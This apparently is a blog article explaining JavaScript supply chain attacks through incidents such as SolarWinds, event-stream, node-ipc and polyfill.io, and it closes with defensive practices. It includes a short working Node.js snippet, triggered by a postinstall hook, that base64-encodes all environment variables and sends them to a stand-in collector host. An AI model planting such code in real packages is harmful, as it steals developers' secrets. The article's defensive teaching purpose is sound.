Supply Side Attacks: Unfriendly SolarWinds
The Ghost in the npm install
I was looking at my node_modules folder the other day when I realized, we don't really "write" software anymore. We basically just assemble it.
When you run an npm install, you are not just downloading some code. You are actually inviting ten thousand strangers to contribute to your codebase, completely sight unseen. If even one of those strangers has a bad day (or some malicious intent), your entire infrastructure suddenly belongs to them. It is like playing a game of Halo where you realize halfway through that your teammate is actually working for the other side.
We saw this play out on a global stage with SolarWinds and Log4j. But in the world of JavaScript, the game is faster, messier, and much more personal.
The Architecture of Trust
SolarWinds was a masterclass in poisoning the automated build process. Attackers didn't just find a simple bug. They actually lived in the build system and injected a backdoor directly into a signed DLL. It was surgical. They didn't even need to touch the source code in a way that would trigger a git diff. Instead, they compromised the very environment that compiled the code.
Then came Log4j. This was the "everyone has it" vulnerability. A single line of logging code turned half the internet into a playground for remote code execution. This stemmed from a "too smart" design, where it interpreted certain strings as executable lookups instead of just plain text. With JavaScript, we face a mutation of both. It's the "transitive dependency" nightmare of Log4j (where you use code you didn't even know was there) paired with the "environment hijack" logic of SolarWinds. In the NPM world, we don't just import functions; we often import entire build scripts. Any package in your tree can use a postinstall hook to run arbitrary code on your machine. So, you have the hidden, ubiquitous presence of thousands of potential vulnerabilities (Log4j) and the ability for any one of them to execute like a malicious build-process injector (SolarWinds).
Take a look at your package.json file. You might think you only have ten dependencies. You actually have five hundred.
{
"dependencies": {
"cool-ui-lib": "^1.2.3", // This has 47 sub-dependencies
"fast-parser": "latest" // This is a ticking time bomb
}
}
The depth of the dependency tree is where the monsters hide. An attacker does not need to hack something massive like React. They just need to hack a maintainer of a tiny utility package that React or some other popular middleware happens to use. This is "transitive dependency" hell, and is where the most lethal attacks have lived.
Anatomy of a Hijack
How does a supply chain attack land in your local environment? Usually, it is a "post-install" script. It is the ultimate Trojan Horse because we have conditioned ourselves to ignore the wall of text that scrolls by during a build. We see a message saying "added 452 packages" and think "Great! Success!" instead of "Wait, what just happened?"
Here is a simplified look at how a malicious dependency might steal your environment variables:
// Hidden inside a helper file deep in the dependency tree
const http = require('http');
const fs = require('fs');
function init() {
// Steal the goodies: AWS keys, GH tokens, Database URI
const secrets = JSON.stringify(process.env);
const data = Buffer.from(secrets).toString('base64');
// Phone home
const req = http.request({
hostname: 'api.malicious-collector.io',
port: 80,
path: `/collect?data=${data}`,
method: 'GET'
});
// This is the literal stealth. No error handling, no logging.
req.on('error', () => {});
req.end();
}
// Often triggered by a package.json script:
// "scripts": { "postinstall": "node ./dist/init.js" }
When you run npm install, the post-install hook fires and the script runs. Before you have even written a single line of business logic, your secrets are sitting on a server somewhere else.
The Long Con
The event-stream incident is one of my favorite examples to talk about (even though it is terrifying). It was not a "hack" in the traditional sense. It was a social engineering job.
An attacker offered to help a tired maintainer with a popular but neglected package. After gaining some trust and publishing rights, they did not immediately inject malware. They waited. They spent months being a "productive" member of the community. Then, they added a dependency on a new package they controlled, which contained the payload.
It was targeted surgery. The malware only activated if it detected a specific cryptocurrency wallet’s build environment. It stayed dormant for everyone else. It's the JavaScript equivalent of a "sleeper agent", just waiting for the correct activation phrase.
Typosquatting and the "Protestware" Pandemic
Then there is the messy middle: Typosquatting. You might mean to install cross-env but accidentally type crossenv. For a few days, that typo would have sent your .env file to a server far away.
But even more chaotic is the rise of "Protestware." Do you remember node-ipc? The maintainer decided to inject code that would wipe the disks of users if their IP address was located in certain countries. Regardless of your politics, the technical reality was horrifying. A trusted dependency became a weapon of destruction based on geography. It shattered the illusion that open-source maintainers are always predictable or neutral.
Ownership Hijacks: The Case of polyfill.io
More recently, we saw the polyfill.io disaster, where a company bought the domain of a trusted service used by over 100,000 websites. Overnight, the trust built over years was weaponized. Scripts that millions of users loaded every day were suddenly injecting redirects to malware sites.
It is a reminder that trust in open source is not a permanent asset. It is just a snapshot. Just because a package was safe yesterday does not mean the owners today are equally safe. Domains expire, companies are bought, and maintainers burn out.
Why Human Detection Matters
If you are reading this and thinking "I will just use an AI to audit my code," be careful. AI is great at finding known vulnerabilities (like the Log4j ones), but it is not great at detecting intent. An AI sees an http.request and thinks "Standard networking." It does not know that a string-padding utility has no reason to be making a network request during a post-install hook.
Human intuition is still our most effective line of defense. It is about the ability to look at a dependency and ask "Why does this need to know my IP?"
How to Stop the Bleeding
We cannot stop using dependencies. We would all be writing our own string-padding functions until 2035. But we can stop being easy targets.
- Lock Your Doors: Use
package-lock.jsonoryarn.lockreligiously. Never delete it to "fix" a build error unless you know exactly what changed. Lockfiles are your cryptographic proof that the code you built yesterday is the same code you are building today. - The ignore-scripts Rule: In your CI/CD pipelines, never run an install without ignoring scripts. (You can do this by running
npm ci --ignore-scripts). This simple step can neutralize the most common attack vector. - Audit with Skepticism:
npm auditis a good start, but it only catches what we already know. For high-risk projects, use tools that look for "capabilities" (like filesystem access) in packages that should not have them. - The "Vendor" Mindset: If a dependency is critical, consider vendoring it. Copy the source into your repo. Yes, it makes your repo bigger. Yes, updates are manual. But you are no longer at the mercy of a maintainer’s mid-life crisis or a domain sale.
- SBOM (Software Bill of Materials): Start generating SBOMs for your releases. If the next big vulnerability drops, you need to be able to answer "Are we vulnerable?" in minutes rather than days.
Further Reading & Sources
If you want to dive deeper into the technical post-mortems of these incidents, here are the primary sources and official advisories:
SolarWinds (SUNBURST): CISA Advisory AA20-352A
Log4j (Log4Shell): CISA Advisory AA21-356a
Event-Stream Incident: Compromised npm package: event-stream
Polyfill.io Hijack: Cloudflare: Reduce your supply chain risk
Node-IPC 'Peacenotwar': Snyk: Malicious npm node-ipc package
Cross-Env Typosquatting: BleepingComputer: JavaScript packages caught stealing env variables